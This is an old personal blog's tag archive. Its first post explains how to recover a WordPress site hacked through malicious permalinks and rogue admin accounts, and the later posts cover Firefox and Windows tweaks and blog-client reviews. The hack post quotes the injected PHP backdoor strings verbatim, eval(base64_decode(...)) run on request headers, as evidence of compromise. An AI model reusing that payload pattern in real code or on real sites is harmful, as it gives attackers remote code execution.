Posts Tagged ‘SEO’

What to do if your blog was hacked by evil eval

Saturday, September 5th, 2009

Weird things happens. Mostly in WordPress. One morning you see that your permalinks became a something like this:

blah/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/

Or this:

/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_EXECCODE%5D))%7D%7D|.+)&%

Or your feed crapped like this:

error on line 22 at column 71: xmlParseEntityRef: no name wordpress

Do not panic – you’re hacked. And there is three steps to get rid of it.

1) Restore your permalinks
Go to Admin panel -> Settings -> Permalinks.
Set your permalink structure to whatever it was earlier. If you don’t even imagine what it was – you can always ask google for it – just like this: site:yourblogurl.com – and you’ll see the answer in the links to your site.

2) Kill the intruder(s)
Go to your preferred mysql administration tool (say, MySqlAdmin) and run this code in the SQL window:

SELECT * FROM `wp_usermeta`
WHERE `meta_value` LIKE '%script%'

You’ll see the list of records, write down user_ids of those guys.
Go to Admin panel -> Users -> Authors & Users, copy the edit link for any user, it’ll be somethings like:

http://yourblogurl.com/wp-admin/user-edit.php?user_id=14&wp_http_referer=%2Fwp-admin%2Fusers.php

Then paste it into address line, and change user_id=XX to the first user_id you wrote. Go.
Replace First name with whatever you want (for example “z”), insert “motherfncker@test.com” into Email field (or whatever, but remember it, you’ll need it later) and set the Role into Subscriber. Push Update user. Then repeat with the next one in your user_ids list. After you finished – just type in into the search line word “motherfncker” (or whatever you set emails to). Now – just delete bastards!

3) Defend the base
Just upgrade your wordpress. If you will do it periodically – there will be no such problems at all!

If you do not have ability to use some SQL tool – you can try to blind find bastards:
Go to Admin panel -> Users -> Authors & Users
Note the number of Admin users (right under “Users” header). One of them is you, all others – bastard ones :)
Try to find max. user_id in the list by hovering your mouse over links. Then copy the edit link of the user with topmost ID, insert it into address line, change it to next number and go. Did not work? Try the next number. Or previous one. You can even loop through all IDs not in use. And when you’ll find him – you know what to do!

Popularity: 1% [?]

Star Wars image experiment

Saturday, January 17th, 2009

Now I’m ready to test something.
Someone can think that picture is offensive somehow – I assure you that is not.
At first, Ahsoka isn’t child, she seems so only next to Skywalker. At second she’s a freekin cartoon character – she have no age at all.

Popularity: 37% [?]

Disable Autorun Once And For All

Thursday, September 27th, 2007

Auto Run Today I wanted to disable Autorun feature in Windows XP box. And I found, that all that Microsoft can bring is funky right-click-on-drive menu with lot of disk types…

That’s not my way. After 2 minutes Autorun feature has been disabled system-wide. And for you it will take less time – because I’ll take care of this.

All you need is to fetch a .reg file below (right click th link, choose “Save target as”), doubleclick it and say “yes”, than reboot.

Disable Autorun (Windows XP)

All the trick is to set
HKLM\SYSTEM\CurrentControlSet\Services\Cdrom\AutoRun to 0

If you wanna do vice-versa trick, you need to fetch and run next file (right click th link, choose “Save target as”), doubleclick it, say ‘yes’, and reboot. If not helps, check those funky right-click-on-drive menu.

Enable Autorun (Windows XP)

That’s all, folks!

Popularity: 85% [?]

Mozilla is alive! Mammon is… Who?

Thursday, August 16th, 2007

firefox-vs-ie One of the freaky cheats in FireFox browser.

I posted all of them today.

Just type in address line “about:Mozilla” and press enter.

What the hell is that?

And so at last the beast fell and the unbelievers rejoiced. But all was not lost, for from the ash rose a great bird. The bird gazed down upon the unbelievers and cast fire and thunder upon them. For the beast had been reborn with its strength renewed, and the followers of Mammon cowered in horror.

Ok, guys, Mammon is… Aaaa…. Hmmm…. This is Mammon:
( I don’t know why he hasn’t a face of Bill Gates nowdays? )

mammon-euro-dollar

But why a great bird? If they do mean a Mozilla ThunderBird – now it dead again. If they meant FireFox – it’s not a bird. And if they meant Mozilla itself – I surprised it was bird.

Guys! What the hell was that?

Popularity: 41% [?]

Hidden FireFox’s resources

Thursday, August 16th, 2007

Type in address line one of a following:

  • about:
  • about:buildconfig
  • about:cache
  • about:config
  • about:plugins
  • about:credits
  • about:Mozilla

Funny ;)

And I’m glad to introduce to you: The new FireFox Logo!

New FireFox Logo

Popularity: 41% [?]

Put on Fire in the Fox’s ass!

Thursday, August 16th, 2007

Make sure that you have this browser:

Speed Up Firefox

Do you know FireFox well?

And how about advanced settings page? And how about direct access to it? OK, just type “about:config” into the address bar and hit return. Just like this:

Firefox's advanced settings address

Now, what do you see?

It’s your advanced settings, basically you can’t reach most of them in other way…

How To Speed Up Your FireFox

Look for the following entries:
network.http.pipelining
network.http.proxy.pipelining
network.http.pipelining.maxrequests

They looked just like this:
firefox-network-settings

Now,
Set network.http.pipelining to true
Set network.http.proxy.pipelining to true
Set network.http.pipelining.maxrequests to 10 (or 15)
Right-click, select New->Integer, name it nglayout.initialpaint.delay, set value to 0
Restart Firefox.

What we’ve done?

We allowed to make up to 10 (15) connections at once. Make sure not to set it higher than 20.
Also we allowed to act with received information with zero waiting time.

Popularity: 35% [?]

Mozilla is alive! Mammon is… Who?

Thursday, August 16th, 2007

firefox-vs-ie One of the freaky cheats in FireFox browser.

I posted all of them today.

Just type in address line “about:Mozilla” and press enter.

What the hell is that?

And so at last the beast fell and the unbelievers rejoiced. But all was not lost, for from the ash rose a great bird. The bird gazed down upon the unbelievers and cast fire and thunder upon them. For the beast had been reborn with its strength renewed, and the followers of Mammon cowered in horror.

Ok, guys, Mammon is… Aaaa…. Hmmm…. This is Mammon:
( I don’t know, by why he hasn’t a face of Bill Gates nowdays? )

mammon-euro-dollar

But why a great bird? If they do mean a Mozilla ThunderBird – now it dead again. If they meant FireFox – it’s not a bird. And if they meant Mozilla itself – I surprised it was bird.

Guys! What the hell was that?

Popularity: 29% [?]

BlogJet

Tuesday, July 31st, 2007

BlogJet is a commercial blog client for Windows. And I made this and previous posts using this software. Hmmm. BlogJet is much better than BlogDesk one…. But I still need to edit the post after posting is done. Where are papagraph styles? Where are h1 h2 h3 h4 etc… ?? Where is real WYSIWYG editor? Where is image properties editing after I inserted it? Where human-readable image naming (check this out – in previous post image on my HDD named arch-enemy-2007-rise-of-the-tyrant-promo.jpg became some kind of non-seo non-human non-anyone set of letters)?

Author may talk about money, work to be done, “how he make controls that were snatched by microsoft”, and some mental shit, but I must say one thing. BlogJet is crap. Just like BlogDesk. Please note that BlogDesk is free to use, when BlogJet’s author wants $39.95. I’ll put them both in one place – and it will be /dev/null.

The official site says

BlogJet 2.0

Blog editor on steroids.
Now better than ever.

1. Remember, kids, steroids are bad. And this piece of binary crap proves it.
2. If this is better than ever – what’s bad?
3. Why 2.0? Did you anything for it? NO! It must be 1.99 – and so on – 1.100, 1.101.

Popularity: 36% [?]

BlogDesk software

Saturday, July 21st, 2007

Hi there.

blogdesk-post

Today I’ll test a software called BlogDesk. Here is their icon blogdesk button, and here is their web-site.

BlogDesk is the offline weblog client, features WYSIWYG editor, ImageWizard, Thumbnails creator etc.

For example I inserted a program’s screenshot, and as you can see, thumbnail generation works wery well ;)

Seems I’ll try to use it for more time, maybe it’s an editor-of-my-dreams….

Seems like BlogDesk is crap. I edited all the links and srcs. Without editing – they all was pointed to “file:// ” (i.e. to my local hard drive).

Now I don’t know if I try this toy anymore.

Popularity: 29% [?]

What happened to the daily show

Friday, July 20th, 2007

Many people wanna know, what happened to the daily show. And know what? I know that they do from my web-server’s logs.

So I must answer fairly – I don’t know. I really do not have any idea, what happened to the daily show.

That’s the answer :)

Popularity: 17% [?]

404 in logs

Friday, July 20th, 2007

I hate 404s. I use awstats to watch my logs, and I hate when it shows some 404s…

I can tolerate some virus-generated URLs but when I see this “/feed%3Ahttp%3A//eyedmax.com/feed/“or search bot asking me for robots.txt or favicon.ico (and I haven’t one) – I can blow up.

My advices to all webmasters are following:

  • put all common files (including index.html, robots.txt and favicon.ico) to your site
  • validate the code for “strange” URLs
  • analyze log files
  • use the automatically generated site map

Don’t trouble Google ’till Google troubles you!

Popularity: 16% [?]

Blog adress changed – now it’s eyedmax.com

Thursday, March 22nd, 2007

Hi there!
I decide to buy a new domain for blog.
Now it named http://eyedmax.com/
Have fun with it ;)

Popularity: 6% [?]